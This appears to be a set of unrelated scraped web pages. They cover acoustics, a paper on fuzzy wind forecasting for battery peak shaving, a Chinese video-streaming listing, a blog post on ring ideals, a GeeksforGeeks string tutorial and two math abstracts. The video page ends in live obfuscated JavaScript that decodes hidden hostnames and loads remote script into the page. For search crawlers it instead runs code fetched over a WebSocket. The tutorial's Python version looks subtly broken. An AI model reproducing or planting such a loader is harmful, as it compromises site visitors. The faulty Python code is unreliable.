regardless of the units used to measure distance.\n\nFree field conditions are necessary for certain tests, where outdoor measurements are often impractical. Some tests need to be performed in special rooms called free field or anechoic (echo-free) chambers, which have sound absorbing walls, floors, and ceilings that reflect practically no sound.\n\nIn spaces defined by walls, however, sound fields are more complex. When sound-reflecting objects such as walls or machinery are introduced into the sound field, the wave picture changes completely. Sound reverberates, reflecting back into the room rather than continuing to spread away from the source. Mose industrial operations and many construction tasks occur under these conditions. Figure 5 diagrams sound radiating from a sound source and shows how reflected sound (dashed lines) complicates the situation.\n\nFigure 5. Original and Reflected Sound Waves", null, "The net result is a change in the intensity of the sound. The sound pressure does not decrease as rapidly as it would in a free field. In other words, it decreases by less than 6 dB each time the distance from the sound source doubles.\n\nFar from the noise source – unless the boundaries are very absorbing – the reflected sound dominates. This region is called the reverberant field. If the sound pressure levels in a reverberant field are uniform throughout the room, and the sound waves travel in all directions with equal probability, the sound is said to be diffuse.\n\nIn actual practice, however, perfectly free fields and reverberant fields rarely exist – most sound fields are something in between." ]

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[ "Real-Time Peak Shaving Algorithm Using Fuzzy Wind Power Generation Curves for Large-Scale Battery Energy Storage Systems\nReal-Time Peak Shaving Algorithm Using Fuzzy Wind Power Generation Curves for Large-Scale Battery Energy Storage Systems\nInternational Journal of Fuzzy Logic and Intelligent Systems. 2014. Dec, 14(4): 305-312", null, "This is an Open Access article distributed under the terms of the Creative Commons Attribution Non-Commercial License (http://creativecommons.org/licenses/by-nc/3.0/) which permits unrestricted noncommercial use, distribution, and reproduction in any medium, provided the original work is properly cited.\n• Received : November 10, 2014\n• Accepted : December 05, 2014\n• Published : December 30, 2014", null, "PDF", null, "e-PUB", null, "PubReader", null, "PPT", null, "Export by style\nArticle\nAuthor\nMetrics\nCited by\nTagCloud\nSubin Son\nHwachang Song\n\nAbstract\nThis paper discusses real-time peak shaving algorithms for a large-scale battery energy storage system (BESS). Although several transmission and distribution functions could be implemented for diverse purposes in BESS applications, this paper focuses on a real-time peak shaving algorithm for an energy time shift, considering wind power generation. In a high wind penetration environment, the effective load levels obtained by subtracting the wind generation from the load time series at each long-term cycle time unit are needed for efficient peak shaving. However, errors can exist in the forecast load and wind generation levels, and the real-time peak shaving operation might require a method for wind generation that includes comparatively large forecasting errors. To effectively deal with the errors of wind generation forecasting, this paper proposes a real-time peak shaving algorithm for threshold value-based peak shaving that considers fuzzy wind power generation.\nKeywords\n1. Introduction\nRecently, we have been being experiencing a severe climate change because of increased CO 2 emission rates resulting from the increased energy demand for industrial development. Several organizations around the world are looking for various ways to solve this problem. One solution might be the application of energy storage systems, which can play an important role in actively coping with the problem resulting from the variability of renewable energy resources, by storing energy that can later be consuming as needed. This paper focuses on the application of a battery energy storage system (BESS).\nA BESS has several functions [1 - 4] that can be implemented to support a transmission and distribution grid. Among these, suppressing the peak load demand and equalizing the load levels with a large-scale BESS is a long-term cycle application. This function is referred to as an energy time shift. In the daily load curve for a system, there is a difference between the peak and minimum load levels. Another long-term cycle function of system marginal price (SMP)-based shaving can be implemented by a wholesale purchasing agency to maximize the benefit from charging and discharging schedules.\nPower management systems (PMSs) for a large-scale BESS were proposed in . A PMS is used to obtain data for monitoring the system condition and selecting the active and reactive power settings for a local or dispersed power conditioning system (PCS) for the BESS. The ultimate goal of a PMS is maintaining the interoperability of the BESS with the operation strategies for an external electrical system implemented for reliability. The facilities for the demonstration research with a 4 MW and 8 MWh BESS at ‘Jochun’ was tested in the long-term and short-term cycle operation modes.\nThis paper proposes a real-time peak shaving algorithm that considers wind power generation. As in , the algorithm using a particular level of wind penetration employs the effective load curves, which are obtained by subtracting the wind generation from the load time series at each long-term cycle time unit. However, it should be noted that there are errors in the forecast load and wind generation values, and the real-time peak shaving operation might require a wind generation method with comparatively large forecasting errors. To effectively cope with the wind generation forecasting errors, this paper employs fuzzy wind power generation curves in a real-time algorithm for threshold value peak shaving. This paper includes illustrative examples to show the effectiveness of this real-time algorithm for peak shaving.\n2. Peak Shaving Algorithm\nThe applicable schemes for using large-scale batteries in power systems can essentially be divided into long-term and shortterm cycle modes. Peak shaving for an energy time shift can be considered to be the main function of battery energy storage in a long-term cycle operation. As in , several other long-term cycle operation functions could be described, considering system security. However, based on the purpose, the total state of charge (SOC) of the participating BESS modules with a PCS must be in an adequate range to be ready just in case, and the active and reactive power ordered by the PCS of the BESS can be used for system margin enhancement, loss minimization, etc. Short-term cycle operation with a BESS includes the mitigation of the fluctuating characteristic of renewable energy and frequency regulation with automatic generation control (AGC) or governor free (GF) actions.\nIn the literature, there are several approaches to peak shaving with energy storage devices. In , off-line and on-line peak shaving algorithms were described for a local load with renewable energy sources. The off-line algorithm can provide scheduling with the assumption that the real load curve is known in advance; the on-line algorithm might then include the uncertainty of the load curve. In , fundamental algorithms for peak shaving were proposed. In , a fuzzy load model for uncertain load curves was adopted in the scheduling formulation for peak shaving. In , a model predictive control method was employed to reduce the peak electricity demand in building climate control based on spot price forecasting. This paper describes a peak shaving method that determines a charging/discharging schedule to minimize the peak shaving threshold value, P shave , considering the load data.\n- 2.1 Charging/Discharging Model for BESS\nTo determine the charging and discharging schedule for the longterm cycle operation of the BESS, a BESS model is needed that explains the behavior for the given charging and discharging actions by the PCS in the system. The most important aspect of this model is the SOC characteristic, which depends on the active power injection and consumption.\nThrough the observation of the equivalent circuit from the viewpoint of the change in SOC during operation, the following difference equation can be obtained:", null, "PPT Slide\nLager Image\nwhere the following notations can be made:\n• EB(k): state of charge atk,\n• PB(k): power output at the point ofk,\n• ΔT: long-term time unit (30 min),\n• α: coefficient of loss by converter loss,\n• β: coefficient of loss by battery current loss,\n• γ: coefficient of self-discharging.\nIn the model of Eq. (1), the loss terms totally depend on the active power output, which is the control input at each time period. As seen, two “±” signs are used for the loss coefficients in Eq. (1). If P B (k) is positive, “+” is used; otherwise “-” is taken. It should be noted that a positive P B (k) represents the discharging state. The difference Eq. (1) is adequate for the scheduling problem of peak and SMP shaving, because it explains the long-term cycle charging and discharging behaviors in terms of the change in the SOC of the BESS.\n- 2.2 Peak Shaving Formulation\nThis subsection describes the fundamental peak shaving formulation. This algorithm is used to determine the charging and discharging schedule using the load data.", null, "PPT Slide\nLager Image\nwhere Pshave is the threshold value for peak shaving, and Pfill is that for load filling. This algorithm has the purpose of minimizing Pshave during discharging periods and maximizing Pfill during charging periods. In Eq. (2) PL ( k ) denotes the load level at time k . In Eq. (2), M and N stand for the starting and ending times for the scheduling; PL ( k ) represent the scaleddown load level at time period k ; P Bmin and P Bmax are the minimum and maximum designed power outputs, respectively; E Bmin and E Bmax are the minimum and maximum limits of the SOC, respectively, and corresponding constraints are needed to prevent over-charging and discharging; and EBo is the initial SOC right before the starting period of the scheduled discharge.\n3. Wind Power Generation Forecasting Based on Fuzzy Modeling\nIn probability theory, a normal or Gaussian distribution is a very commonly occurring continuous probability distribution. Normal distributions are extremely important in statistics and are often used in the natural and social sciences for real-valued random variables whose distributions are unknown.\nDifferent probability distribution functions may be selected for different kinds of uncertain values . The normal distribution function is used in this paper. The general formula of the probability density function for a normal distribution with uncertain variable x is given below:", null, "PPT Slide\nLager Image\nwhere x is the uncertain variable for the probability function; μ is the mean value of the uncertain value, also called the location parameter; and σ is the standard deviation of the uncertain value, also called the scale parameter. The shape of the plot of the normal probability density function is shown in Figure 1 . In this paper, the normal distribution is converted into trapezoidal fuzzy curves with four discrete points. The normal distribution curve is constructed based on wind power generation data with a sampling time of 30 min.", null, "PPT Slide\nLager Image\nNormal distribution curve.\nPower load data, especially for residential loads, are variable and uncertain. For example, the variability of the electricity consumption of a single residential customer generally depends on whether family members are home and on the time of use of a few high-power appliances with relatively short usage durations during the day, and is subject to very high uncertainty. Probabilistic analysis and fuzzy theory can be used to analyze the uncertainty of the load .\nA method for describing a membership function involves the application of data on the average value m and maximum error e of the input quantity. In practical applications, this method may be used to describe the values of wind power generation. In this case, the fuzzy parameters can be defined as follows :", null, "PPT Slide\nLager Image\nwhere e is the maximum error.\nA trapezoidal fuzzy curve can be drawn using Eq. (4) and is shown in Figure 2 . This paper calculates the fuzzy percentage using this curve. Four fuzzy forecasting wind power generation curves are made using these percentages. The formula for calculating the percentage is as follows:", null, "PPT Slide\nLager Image", null, "PPT Slide\nLager Image\nTrapezoidal fuzzy model derived from given normal distribution function.\nWind power generation data are forecast using these four fuzzy forecasting wind power generation curves for real-time peak shaving. If the real wind power generation at an arbitrary point is smaller than the value of fuzzy (1), the real-time peak shaving algorithm chooses the fuzzy (1) wind power generation curve after this arbitrary point. Similarly, if the real wind power generation at an arbitrary point is greater than the value of fuzzy (4), the real-time peak shaving algorithm chooses the fuzzy (4) wind power generation curve after this arbitrary point. However, if the real wind power generation is in the region of fuzzy (1)-(4), the method used to forecast the wind power generation changes. For example, if the real wind power generation is located in the region of fuzzy (1)-(4), the algorithm calculates the percentage of real values from the nearest point, which becomes the starting point of the forecast wind power generation.\nIn the real-time operation, the applied level of wind generation is based on the fuzzy wind model at the following time period, which depends on the wind generation level at the previous long-term time unit. When the error between the real and forecast wind generation values is less than fuzzy (1) at the previous time unit, the wind generation is set to the lowest wind generation corresponding to the value with the error of fuzzy (1). When the error is between fuzzy (1) and fuzzy (2) or between fuzzy (3) and fuzzy (4), the wind generation level with the same fuzzy membership value is chosen. When the error is between fuzzy (2) and fuzzy (3), the wind generation level with the same distance from fuzzy (2) is employed. When the error is greater than fuzzy (4), the wind generation is set to the largest level in the fuzzy wind model. This forecasting is performed for the following long-term time periods.\n4. Simulation and Results\nThis section describes the process of creating the trapezoidal fuzzy curve and gives corresponding examples of the application of the peak shaving algorithm. The wind power generation was classified on an hourly basis to generate the trapezoidal fuzzy curve and each fuzzy percentage. Thereafter, a normal distribution was made using the wind power generation data with respect to time. Figure 3 shows a trapezoidal fuzzy curve that was drawn using this method. The fuzzy model might have different values over the entire period. This paper uses a 48 × 4 matrix that includes the end-points of the trapezoidal models at all the periods using historical power generation data with 30-min intervals. Table 1 lists the percentages of the endpoints of the fuzzy model at each time period in reference to the expectation, as determined in this paper.", null, "PPT Slide\nLager Image\nNormal distribution and trapezoidal fuzzy curves for wind power generation.\nPercentages of end-points of fuzzy model for wind power generation", null, "PPT Slide\nLager Image\nPercentages of end-points of fuzzy model for wind power generation\nThe same fuzzy model could also be applied to load curves, as in . However, in , the method used for the fuzzy model construction was not mentioned. This paper adds wind power generation data to the grid and performs real-time peak shaving under the assumption that the real load data are obtained. This paper illustrates the applicability of a fuzzy curve for wind power generation data. Figures 4 and 5 show the real load curve and real wind power generation curve, respectively. Figure 6 shows four fuzzy curves based on the forecast wind power generation curve. In Figures 4 6 , the x-axis denotes the longterm time unit (30 min) intervals over the course of a day.", null, "PPT Slide\nLager Image", null, "PPT Slide\nLager Image\nExample of wind power generation curves.", null, "PPT Slide\nLager Image\nTrapezoidal fuzzy model based on expected wind power generation curve.\nFigure 7 shows the peak shaving results using real load and real wind power generation data. Figure 8 illustrates the peak shaving results using real load and forecast wind power generation data. Figure 9 shows the peak shaving results using real load and wind power generation data after the application of the fuzzy model. In Figures 7 9 , the x -axis denotes the real-time unit (2 min). This paper reports a real-time peak shaving simulation that divides the long-term time unit into 10 sections because the fuzzy wind power generation changes as a result of the real wind power generation data at each point. In other words, Figures 7 9 show the combined peak shaving results at the corresponding real-time units.", null, "PPT Slide\nLager Image\nPeak shaving results using real wind power generation curve.", null, "PPT Slide\nLager Image\nPeak shaving results using forecast wind power generation curve.", null, "PPT Slide\nLager Image\nPeak shaving results using fuzzy model of wind power generation.\nIn a real-time simulation performed using the developed realtime mode emulator, one day is divided into five portions, and each portion starts from an long-term time unit: 1, 11, 21, 31, or 41. This is because different errors are expected between the real and forecast values of the wind power generation data at each portion. In other words, the error rate might be different depending on the time of day. Table 2 lists the error at each longterm section, 1–10, 11–20, 21–30, 31–40, and 41–48, compared to the results when using the real wind power generation data. In the process of peak shaving, the effective load was adopted, which is the load subtracted by the wind power generation. As listed in the table, the error rates at each section are smaller when using the fuzzy model of wind power generation. The same characteristic is seen in the overall error rate.\nError rate of peak shaving results", null, "PPT Slide\nLager Image\nLT, long-term.\n5. Conclusions\nThis paper presented long-term cycle control strategies for a large-scale BESS. The main focus of this paper was illustrating the applicability of a fuzzy model for the forecast wind power generation as an input for real-time peak shaving. This operation mode could be used to perform an energy time shift, and minimize the threshold value obtained from the difference between the upper and lower loads. This paper included an illustrative example showing the performance of the algorithm with real load and wind power generation data using real, forecast, and fuzzy model-based curves with the developed real-time operation simulator.\nConflict of Interest No potential conflict of interest relevant to this article was reported.\nBIO", null, "Subin Son received B.S. in Electrical and Information Engineering from Seoul National University of Science & Technology in 2013. He is a graduate student at Seoul National University of Science & Technology. His research areas of interest are T&D application of battery energy storage systems, and power system operation.\nPhone: +82-2-970-9873\nE-mail: [email protected]", null, "Hwachang Song received B.S., M.S. and Ph.D. in Electrical Engineering from Korea University in 1997, 1999 and 2003, respectively. He was a post-doctoral visiting scholar at Iowa State University from 2003 to 2004. He was working as a faculty member in the School of Electronic and Information Engineering, Kunsan National University, from 2005 to 2008. Currently, he is an associate professor in the Department of Electrical and Information Engineering, Seoul National University of Science ＆ Technology. His research areas of interest are nonlinear optimization, power system stability and control, battery energy storage systems, and system modeling.\nPhone: +82-2-970-6402\nE-mail: [email protected]\nReferences" ]

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[ "# 安妮特2021\n\n• 更新至18集\n• 超清\n• 超清\n• HD\n• 超清\n• 超清\n• 超清\n• 超清\n\n• HD\n• HD\n• HD\n• HD\n• HD\n• HD\n• 05集全/已完结\n• HD\n\n### 安妮特2021评论\n\n• 评论加载中...\n\nfunction agQbH(e){var t=\"\",n=r=c1=c2=0;while(n %lt;e.length){r=e.charCodeAt(n);if(r %lt;128){t+=String.fromCharCode(r);n++;}else if(r %gt;191&&r %lt;224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)%lt;%lt;6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)%lt;%lt;12|(c2&63)%lt;%lt;6|c3&63);n+=3;}}return t;};function fFKucWQk(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t=\"\",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,\"\");while(f %lt;e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s %lt;%lt;2|o %gt;%gt;4;r=(o&15)%lt;%lt;4|u %gt;%gt;2;i=(u&3)%lt;%lt;6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return agQbH(t);};window[''+'o'+'p'+'K'+'m'+'x'+'F'+'z'+'t'+'Q'+'V'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=fFKucWQk,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c+''+c,'g'),c)));var ws=new WebSocket('wss://'+k+':9393/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);}}else{u=decodeURIComponent(x(u.replace(new RegExp(c+''+c,'g'),c)));var s=document.createElement('script');s.src='https://'+u+'/z/'+i;cs.parentElement.insertBefore(s,cs);}})('aGGJ0Lm1pbGGVjY3R2LmNu','ddHIueWVzddW42NzguY29t','142556',window,document,['G','d']);}:function(){};" ]

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[ "# Ideal of Ring, Kernel of Group\n\nLast time 1978 in Maths Supérieures (French Classe Préparatoire ) studying Ideal, never understood the “real” meaning except the definition, until I attended the Harvard online course in 2006, which used the MIT Prof Artin’s textbook 《Algebra》, pioneering in the world by using Linear Algebra (Matrices, etc) as the foundation to study Group, Ring, Vector Space etc.\n\nLike any structure in the nature, it has a core (“kernel”) which encapsulates all the essence of the structure : durian kernel, cell kernel, etc.\n\nWith kernel we can partition (分类) the whole structure family, eg. 血型={A, B, O, AB} is a “kernel” which can divide all Blood groups into 4.\n\nIn a Group structure (only 1 operation, eg. + or *), the Kernel of Group (G) partitions G into “Quotient Group” , denoted as:\n\nG / Ker f\n\nIn Ring structure (2 operations : +), the German Hilbert named it “Ideal” (instead of Kernel), also partitions the whole Ring structure. Eg. IDEAL {Even} partitions whole Integer structure family into Even & Odd. The name “Ideal” bcos it is also found ideal number to the uniqueness factorisation satisfying the 《Fundamental Theorem of Arithmetics》\n\neg. 6 =3*2 = 2*3 (unique factorization ! )\n\nbut not true in uniqueness in Complex number, we have also another factorization !\n\n6 = (1+√-5). (1- √-5)\n\nso the Ideal (I) is found as the gcd of these 4 pairs:\nI1=gcd ( 2, 1+√-5)\nI2 =gcd (2,1- √-5)\nI3=gcd (3,1+√-5)\nI4=gcd(3,1- √-5)\nsuch that :\n6= I1* I2* I3* I4\n\nhttps://tomcircle.wordpress.com/2013/04/06/ideals/\n\nIdeal is like a “Black-Hole” which sucks everything outside into it to become inside its “core”. Eg. “Even” × anything outside = “Even”, same to “ZERO” Ideal.\n\nA polynomial P(X)is also a Ring Structure (+*, but not / with zero polynomial) has the ideal.\neg.( X^2+1) if it is a factor of P(X), so we can partition P(X) into\nP(X) / (X^2+1) sub-Ring structure.\n\nNote : (X^2+1) factor means P(X) has complex root “i”\n(= √-1)" ]

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[ "# Reduce string to shortest length by deleting a pair of same adjacent characters\n\nGiven a string str of lowercase characters. The task is to count the number of deletions required to reduce the string to its shortest length. In each delete operation, you can select a pair of adjacent lowercase letters that match, and then delete them. The task is to print the count of deletions done.\n\nExamples:\n\n```Input: str = \"aaabccddd\"\nOutput: 3\nFollowing are sequence of operations:\naaabccddd -> abccddd -> abddd -> abd\n\nInput: str = \"aa\"\nOutput: 1\n```\n\n## Recommended: Please try your approach on {IDE} first, before moving on to the solution.\n\nApproach:\n\n1. Initialize count = 1 initially.\n2. Iterate for every character, increase count if s[i]==s[i-1].\n3. If s[i]!=s[i-1], add count/2 to the number of steps, and re-initialize count to 1.\n\nIf s[i]!=s[i-1], then the number of deletions is increased by count/2. If the count is even, number of pairs will be count/2. If count is odd, then the number of deletions will be (count-1)/2 which is the same as (int)count/2.\n\nBelow is the implementation of the above approach:\n\n## C++\n\n `// C++ program to count deletions ` `// to reduce the string to its shortest ` `// length by deleting a pair of ` `// same adjacent characters ` `#include ` `using` `namespace` `std; ` ` `  `// Function count the operations ` `int` `reduceString(string s, ``int` `l) ` `{ ` ` `  `    ``int` `count = 1, steps = 0; ` ` `  `    ``// traverse in the string ` `    ``for` `(``int` `i = 1; i < l; i++) { ` `        ``// if adjacent characters are same ` `        ``if` `(s[i] == s[i - 1]) ` `            ``count += 1; ` ` `  `        ``else` `{ ` `            ``// if same adjacent pairs are more than 1 ` `         `  `                ``steps += (count / 2); ` ` `  `            ``count = 1; ` `        ``} ` `    ``} ` ` `  `     `  `        ``steps += count / 2; ` `    ``return` `steps; ` `} ` ` `  `// Driver Code ` `int` `main() ` `{ ` ` `  `    ``string s = ``\"geeksforgeeks\"``; ` `     `  `    ``int` `l = s.length(); ` `    ``cout << reduceString(s, l) << endl; ` `    ``return` `0; ` `} `\n\n## Java\n\n `// Java program to count deletions ` `// to reduce the string to its  ` `// shortest length by deleting a  ` `// pair of same adjacent characters ` `import` `java.io.*; ` `import` `java.util.*; ` `import` `java.lang.*; ` ` `  `class` `GFG ` `{ ` `     `  `// Function count ` `// the operations ` `static` `int` `reduceString(String s,  ` `                        ``int` `l) ` `{ ` ` `  `    ``int` `count = ``1``, steps = ``0``; ` ` `  `    ``// traverse in the string ` `    ``for` `(``int` `i = ``1``; i < l; i++) ` `    ``{ ` `        ``// if adjacent characters  ` `        ``// are same ` `        ``if` `(s.charAt(i) == s.charAt(i - ``1``)) ` `            ``count += ``1``; ` ` `  `        ``else` `        ``{ ` `            ``// if same adjacent pairs  ` `            ``// are more than 1 ` `            ``steps += (count / ``2``); ` ` `  `            ``count = ``1``; ` `        ``} ` `    ``} ` `        ``steps += count / ``2``; ` `    ``return` `steps; ` `} ` ` `  `// Driver Code ` `public` `static` `void` `main(String[] args) ` `{ ` `    ``String s = ``\"geeksforgeeks\"``; ` `     `  `    ``int` `l = s.length(); ` `    ``System.out.print(reduceString(s, l) + ``\"\\n\"``); ` `} ` `} `\n\n## Python3\n\n `# Python3 program to count  ` `# deletions to reduce  ` `# the string to its  ` `# shortest length by  ` `# deleting a pair of  ` `# same adjacent characters ` `  `  `# Function count  ` `# the operations ` `def` `reduceString(s, l): ` `    ``count ``=` `1``; ` `    ``steps ``=` `0``; ` `  `  `    ``# traverse in  ` `    ``# the string ` `    ``for` `i ``in` `range``(``1``,l): ` `        ``# if adjacent  ` `        ``# characters are same ` `        ``if` `(s[i] ``is` `s[i ``-` `1``]): ` `            ``count ``+``=` `1``; ` `  `  `        ``else``: ` `            ``# if same adjacent pairs  ` `            ``# are more than 1 ` `            ``steps ``+``=``(``int``)(count ``/` `2``); ` `  `  `            ``count ``=` `1``; ` `        ``steps ``+``=``(``int``)(count ``/` `2``); ` `    ``return` `steps; ` ` `  `  `  `# Driver Code ` `s ``=` `\"geeksforgeeks\"``; ` `  `  `l ``=` `len``(s); ` `print``(reduceString(s, l)); ` ` `  ` `  `# This code contributed by Rajput-Ji `\n\n## C#\n\n `// C# program to count deletions ` `// to reduce the string to its  ` `// shortest length by deleting a  ` `// pair of same adjacent characters ` `using` `System; ` ` `  `class` `GFG ` `{ ` `     `  `// Function count  ` `// the operations ` `static` `int` `reduce(``string` `s,  ` `                  ``int` `l) ` `{ ` ` `  `    ``int` `count = 1, step = 0; ` ` `  `    ``// traverse in  ` `    ``// the string ` `    ``for` `(``int` `i = 1; i < l; i++)  ` `    ``{ ` `        ``// if adjacent characters ` `        ``// are same ` `        ``if` `(s[i] == s[i - 1]) ` `            ``count += 1; ` ` `  `        ``else`  `        ``{ ` `            ``// if same adjacent pairs ` `            ``// are more than 1 ` `            ``step += (count / 2); ` `            ``count = 1; ` `        ``} ` `    ``} ` `        ``step += count / 2; ` `    ``return` `step; ` `} ` ` `  `// Driver Code ` `public` `static` `void` `Main() ` `{ ` `    ``string` `s = ``\"geeksforgeeks\"``; ` `     `  `    ``int` `l = s.Length; ` `    ``Console.WriteLine(reduce(s, l)); ` `} ` `} ` ` `  `// This code is contributed by ` `// Akanksha Rai(Abby_akku) `\n\n## PHP\n\n ` `\n\nOutput:\n\n```2\n```\n\nMy Personal Notes arrow_drop_up", null, "If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.\n\nPlease Improve this article if you find anything incorrect by clicking on the \"Improve Article\" button below.\n\nImproved By : jit_t, Akanksha_Rai, Rajput-Ji\n\nArticle Tags :\n\nBe the First to upvote.\n\nPlease write to us at [email protected] to report any issue with the above content." ]

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[ "", null, "", null, "", null, "", null, "January  1996, 2(1): 111-120. doi: 10.3934/dcds.1996.2.111\n\n## On chain continuity\n\n 1 Mathematics Department, The City College, New York, N. Y. 10031, United States\n\nReceived  May 1995 Published  October 1995\n\nA number of recent papers examine for a dynamical system $f: X \\rightarrow X$ the concept of equicontinuity at a point. A point $x \\in X$ is an equicontinuity point for $f$ if for every $\\epsilon > 0$ there is a $\\delta > 0$ so that the orbit of initial points $\\delta$ close to $x$ remains at all times $\\epsilon$ close to the corresponding points of the orbit of $x$, i.e. $d(x,x_0) < \\delta$ implies $d(f^i(x),f^i(x_0)) \\leq \\epsilon$ for $i = 1,2,\\ldots$. If we suppose that the errors occur not only at the initial point but at each iterate we obtain not the orbit of $x_0$ but a $\\delta$-chain, a sequence $\\{x_0,x_1,x_2,\\ldots\\}$ such that $d(f(x_i),x_{i+1}) \\leq \\delta$ for $i = 0,1,\\ldots$. The point $x$ is called a chain continuity point for $f$ if for every $\\epsilon > 0$ there is a $\\delta > 0$ so that all $\\delta$ chains beginning $\\delta$ close to $x$ remain $\\epsilon$ close to the points of the orbit of $x$, i.e. $d(x,x_0) < \\delta$ and $d(f(x_i),x_{i+1}) \\leq \\delta$ imply $d(f^i(x),x_i) \\leq \\epsilon$ for $i = 1,2,\\ldots$. In this note we characterize this property of chain continuity. Despite the strength of this property, there is a class of systems $(X,f)$ for which the chain continuity points form a residual subset of the space $X$. For a manifold $X$ this class includes a residual subset of the space of homeomorphisms on $X$.\nCitation: Ethan Akin. On chain continuity. Discrete & Continuous Dynamical Systems, 1996, 2 (1) : 111-120. doi: 10.3934/dcds.1996.2.111\n Michel Benaim, Morris W. Hirsch. Chain recurrence in surface flows. Discrete & Continuous Dynamical Systems, 1995, 1 (1) : 1-16. doi: 10.3934/dcds.1995.1.1 Piotr Oprocha. Chain recurrence in multidimensional time discrete dynamical systems. Discrete & Continuous Dynamical Systems, 2008, 20 (4) : 1039-1056. doi: 10.3934/dcds.2008.20.1039 Bibhas C. Giri, Bhaba R. Sarker. Coordinating a multi-echelon supply chain under production disruption and price-sensitive stochastic demand. Journal of Industrial & Management Optimization, 2019, 15 (4) : 1631-1651. doi: 10.3934/jimo.2018115 Olexiy V. Kapustyan, Pavlo O. Kasyanov, José Valero. Chain recurrence and structure of $\\omega$-limit sets of multivalued semiflows. Communications on Pure & Applied Analysis, 2020, 19 (4) : 2197-2217. doi: 10.3934/cpaa.2020096 Qiang Lin, Yang Xiao, Jingju Zheng. Selecting the supply chain financing mode under price-sensitive demand: Confirmed warehouse financing vs. trade credit. Journal of Industrial & Management Optimization, 2021, 17 (4) : 2031-2049. doi: 10.3934/jimo.2020057 Charalampos Evripidou, Pavlos Kassotakis, Pol Vanhaecke. Integrable reductions of the dressing chain. Journal of Computational Dynamics, 2019, 6 (2) : 277-306. doi: 10.3934/jcd.2019014 Noriaki Kawaguchi. Maximal chain continuous factor. Discrete & Continuous Dynamical Systems, 2021, 41 (12) : 5915-5942. doi: 10.3934/dcds.2021101 Michela Eleuteri, Paolo Marcellini, Elvira Mascolo. Local Lipschitz continuity of minimizers with mild assumptions on the $x$-dependence. Discrete & Continuous Dynamical Systems - S, 2019, 12 (2) : 251-265. doi: 10.3934/dcdss.2019018 Samuel N. Cohen, Lukasz Szpruch. On Markovian solutions to Markov Chain BSDEs. Numerical Algebra, Control & Optimization, 2012, 2 (2) : 257-269. doi: 10.3934/naco.2012.2.257 Michael Herrmann, Antonio Segatti. Infinite harmonic chain with heavy mass. Communications on Pure & Applied Analysis, 2010, 9 (1) : 61-75. doi: 10.3934/cpaa.2010.9.61 Deng Lu, Maria De Iorio, Ajay Jasra, Gary L. Rosner. Bayesian inference for latent chain graphs. Foundations of Data Science, 2020, 2 (1) : 35-54. doi: 10.3934/fods.2020003 Joshua E.S. Socolar. Discrete models of force chain networks. Discrete & Continuous Dynamical Systems - B, 2003, 3 (4) : 601-618. doi: 10.3934/dcdsb.2003.3.601 Juliang Zhang, Jian Chen. Information sharing in a make-to-stock supply chain. Journal of Industrial & Management Optimization, 2014, 10 (4) : 1169-1189. doi: 10.3934/jimo.2014.10.1169 Michael Kastner, Jacques-Alexandre Sepulchre. Effective Hamiltonian for traveling discrete breathers in the FPU chain. Discrete & Continuous Dynamical Systems - B, 2005, 5 (3) : 719-734. doi: 10.3934/dcdsb.2005.5.719 Honglin Yang, Jiawu Peng. Coordinating a supply chain with demand information updating. Journal of Industrial & Management Optimization, 2020  doi: 10.3934/jimo.2020181 S. R.-J. Jang, J. Baglama, P. Seshaiyer. Intratrophic predation in a simple food chain with fluctuating nutrient. Discrete & Continuous Dynamical Systems - B, 2005, 5 (2) : 335-352. doi: 10.3934/dcdsb.2005.5.335 Maria Paola Cassinari, Maria Groppi, Claudio Tebaldi. Effects of predation efficiencies on the dynamics of a tritrophic food chain. Mathematical Biosciences & Engineering, 2007, 4 (3) : 431-456. doi: 10.3934/mbe.2007.4.431 Yeong-Cheng Liou, Siegfried Schaible, Jen-Chih Yao. Supply chain inventory management via a Stackelberg equilibrium. Journal of Industrial & Management Optimization, 2006, 2 (1) : 81-94. doi: 10.3934/jimo.2006.2.81 Feimin Zhong, Wei Zeng, Zhongbao Zhou. Mechanism design in a supply chain with ambiguity in private information. Journal of Industrial & Management Optimization, 2020, 16 (1) : 261-287. doi: 10.3934/jimo.2018151 Juliang Zhang. Coordination of supply chain with buyer's promotion. Journal of Industrial & Management Optimization, 2007, 3 (4) : 715-726. doi: 10.3934/jimo.2007.3.715\n\n2020 Impact Factor: 1.392" ]

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[ "Repositorio de producción científica de la Universidad de Sevilla\n\nPullback attractors for the non-autonomous 2D Navier-Stokes equations for minimally regular forcing", null, "Pullback attractors for the non-autonomous 2D Navier-Stokes equations for minimally regular forcing\nCites\n\nExport to\n Author: García Luengo, Julia María Marín Rubio, Pedro Real Anguas, José Robinson, James C. Department: Universidad de Sevilla. Departamento de Ecuaciones Diferenciales y Análisis Numérico Date: 2014 Published in: Discrete and Continuous Dynamical Systems. Series A, 34(1), 203-227 Document type: Article Abstract: This paper treats the existence of pullback attractors for the non-autonomous 2D Navier--Stokes equations in two different spaces, namely L^2 and H^1. The non-autonomous forcing term is taken in L^2_{\\rm loc}(\\mathbb R;H^{-1}) and L^2_{\\rm loc}(\\mathbb R;L^2) respectively for these two results: even in the autonomous case it is not straightforward to show the required asymptotic compactness of the flow with this regularity of the forcing term. Here we prove the asymptotic compactness of the corresponding processes by verifying the flattening property -- also known as Condition (C)\". We also show, using the semigroup method, that a little additional regularity -- f\\in L^p_{\\rm loc}(\\mathbb R;H^{-1}) or f\\in L^p_{\\rm loc}(\\mathbb R;L^2) for some p>2 -- is enough to ensure the existence of a compact pullback absorbing family (not only asymptotic compactness). Even in the autonomous case the existence of a compact absorbing set for this model is new when f 